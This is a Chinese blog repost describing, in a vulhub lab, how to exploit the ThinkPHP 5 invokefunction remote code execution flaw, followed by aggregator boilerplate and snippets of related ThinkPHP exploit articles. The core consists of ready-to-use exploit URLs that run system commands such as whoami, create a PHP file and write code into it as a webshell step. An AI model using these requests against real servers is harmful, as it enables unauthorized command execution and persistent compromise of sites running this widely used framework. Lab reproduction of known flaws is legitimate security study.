thinkphp 5-rce（rce漏洞getshell）

9月前作者：安全~小菜鸡分类：Toy博客阅读(39) 违法举报

这篇具有很好参考价值的文章主要介绍了thinkphp 5-rce（rce漏洞getshell）。希望对大家有所帮助。如果存在错误或未考虑完全的地方，请大家不吝赐教，您也可以点击"举报违法"按钮提交疑问。

vulhub靶场

thinkphp5.1.41漏洞,安全,web安全,php

http://xxxxx:8080/?s=/Index/\think\app/invokefunction&function=call_user_func_array&vars[0]=system&vars[1][]=whoami

验证漏洞

thinkphp5.1.41漏洞,安全,web安全,php

linux系统，可以用touch命令创建文件

http://xxxxx:8080/?s=/Index/\think\app/invokefunction&function=call_user_func_array&vars[0]=system&vars[1][]=touch mm.php

再用echo写入一句话

http://xxxxx:8080/index.php?s=/Index/\think\app/invokefunction&function=call_user_func_array&vars[0]=system&vars[1][]=echo <?php phpinfo();?> >> mm.php

查看写入成功

thinkphp5.1.41漏洞,安全,web安全,php

文章来源地址https://www.toymoban.com/news/detail-628868.html

到了这里，关于thinkphp 5-rce（rce漏洞getshell）的文章就介绍完了。如果您还想了解更多内容，请在右上角搜索TOY模板网以前的文章或继续浏览下面的相关文章，希望大家以后多多支持TOY模板网！

本文来自互联网用户投稿，该文观点仅代表作者本人，不代表本站立场。本站仅提供信息存储空间服务，不拥有所有权，不承担相关法律责任。如若转载，请注明出处：如若内容造成侵权/违法违规/事实不符，请点击违法举报进行投诉反馈，一经查实，立即删除！

分享到：

领支付宝红包赞助服务器费用

Thinkphp5.x全漏洞复现分析

我们可以把namespace理解为一个单独的空间，事实上它也就是一个空间而已，子命名空间那就是空间里再划分几个小空间，举个例子：当有多个子命名空间有相同名称类时，不指定使用哪个命名空间的情况下取最后定义的命名空间中的类，比如上面的 dog 取的时 dogC 中的类，在

2024年04月22日
浏览(43)
ThinkPHP5.0.23 远程代码执行漏洞

ThinkPHP 是一款运用极广的 PHP 开发框架。其 5.0.23 以前的版本中，获取 method 的方法中没有正确处理方法名，导致攻击者可以调用 Request 类任意方法并构造利用链，从而导致远程代码执行漏洞。百度漏洞获得exp 路径： POST传参我用的是hackbar，用burpsuite也行。 burp操作方法抓包

2024年02月11日
浏览(44)
ThinkPHP5.0.21远程命令执行漏洞

漏洞出现的背景： ThinkPHP是⼀款运⽤极⼴的PHP开发框架。其5.0.23以前的版本中，获取method的⽅法中没有正确处理⽅法名，导致攻击者可以调⽤Request类任意⽅法并构造利⽤链，从⽽导致远程代码执⾏漏洞。由于ThinkPHP5框架对控制器名没有进⾏⾜够的安全检测，导致在没有开

2024年02月04日
浏览(43)
ThinkPHP5系列远程代码执行漏洞复现（详细）

ThinkPHP是一款运用极广的PHP开发框架。其版本5中，由于框架对控制器名没有进行足够的检测，会导致在没有开启强制路由的情况下可执行任意方法，从而导致远程命令执行漏洞。漏洞危害启动环境切换到/thinkphp/5.0.23-rce# 目录下将version改为2，保存并退出接着执行此时环境

2024年02月12日
浏览(41)
thinkphp5.0.24反序列化漏洞分析

thinkphp5框架： thinkphp5的入口文件在 publicindex.php ，访问反序列化起点写一个反序列化入口点全局搜索 __destruct() 函数 thinkphp_5.0.24thinkphplibrarythinkprocesspipesWindows.php 中的 __destruct() 函数，调用了removeFiles() 跟进removeFiles()，第163行的file_exists可以触发 __toString 方法全局搜索

2023年04月08日
浏览(41)
web漏洞-java安全（41）

这个重点是讲关于java的代码审计，看这些漏洞是怎么在java代码里面产生的。 #Javaweb 代码分析-目录遍历安全问题这个漏洞原因前面文章有，这次我们看看这个漏洞如何在代码中产生的，打开靶场解题思路就是通过文件上传，上传文件把它应该正常上传的路径进行修改，

2024年02月15日
浏览(29)
ThinkPHP 多语言模块RCE漏洞复现

ThinkPHP，是为了简化企业级应用开发和敏捷WEB应用开发而诞生的开源轻量级PHP框架。最早诞生于2006年初，2007年元旦正式更名为ThinkPHP，并且遵循Apache2开源协议发布。ThinkPHP从诞生以来一直秉承简洁实用的设计原则，在保持出色的性能和至简的代码的同时，也注重易用性。并且

2023年04月22日
浏览(46)
ThinkPHP5 5.0.23远程代码执行漏洞+webshell工具连接（复现详细过程）

目录漏洞介绍漏洞复现 1.环境搭建 2.漏洞利用 5.0.23以前的版本中，获取method的方法中没有正确处理方法名，导致攻击者可以调用Request类任意方法并构造利用链，从而导致远程代码执行漏洞。 1.环境搭建使用docker容器搭建漏洞环境，进入漏洞文件所在。 cd vulhub/thinkphp/5.0.2

2024年02月06日
浏览(94)
ThinkPHP 3.2.x RCE漏洞复现

ThinkPHP3.2远程代码执行漏洞，该漏洞产生原因是由于在业务代码中如果对模板赋值方法assign的第一个参数可控，则导致模板路径变量被覆盖为携带攻击代码路径，造成文件包含，代码执行等危害。复现环境：phpstudy+php7.3.4+ThinkPHP3.2.3完整版+windows10 一、搭建环境：在ThinkPHP的

2023年04月08日
浏览(35)
thinkphp6和thinkphp5有什么区别

Thinkphp6.0完全开发手册采用PHP7强类型（严格模式） tp5 环境要求PHP = 5.4.0 ThinkPHP6.0的环境要求 PHP = 7.2.5 6.0版本开始，必须通过Composer方式安装和更新，所以你无法通过Git下载安装。支持更多的PSR规范 V6.0.10版本开始支持 psr7 response 多应用支持 tp5默认使用多应用模式部署 tp6 安

2024年02月06日
浏览(55)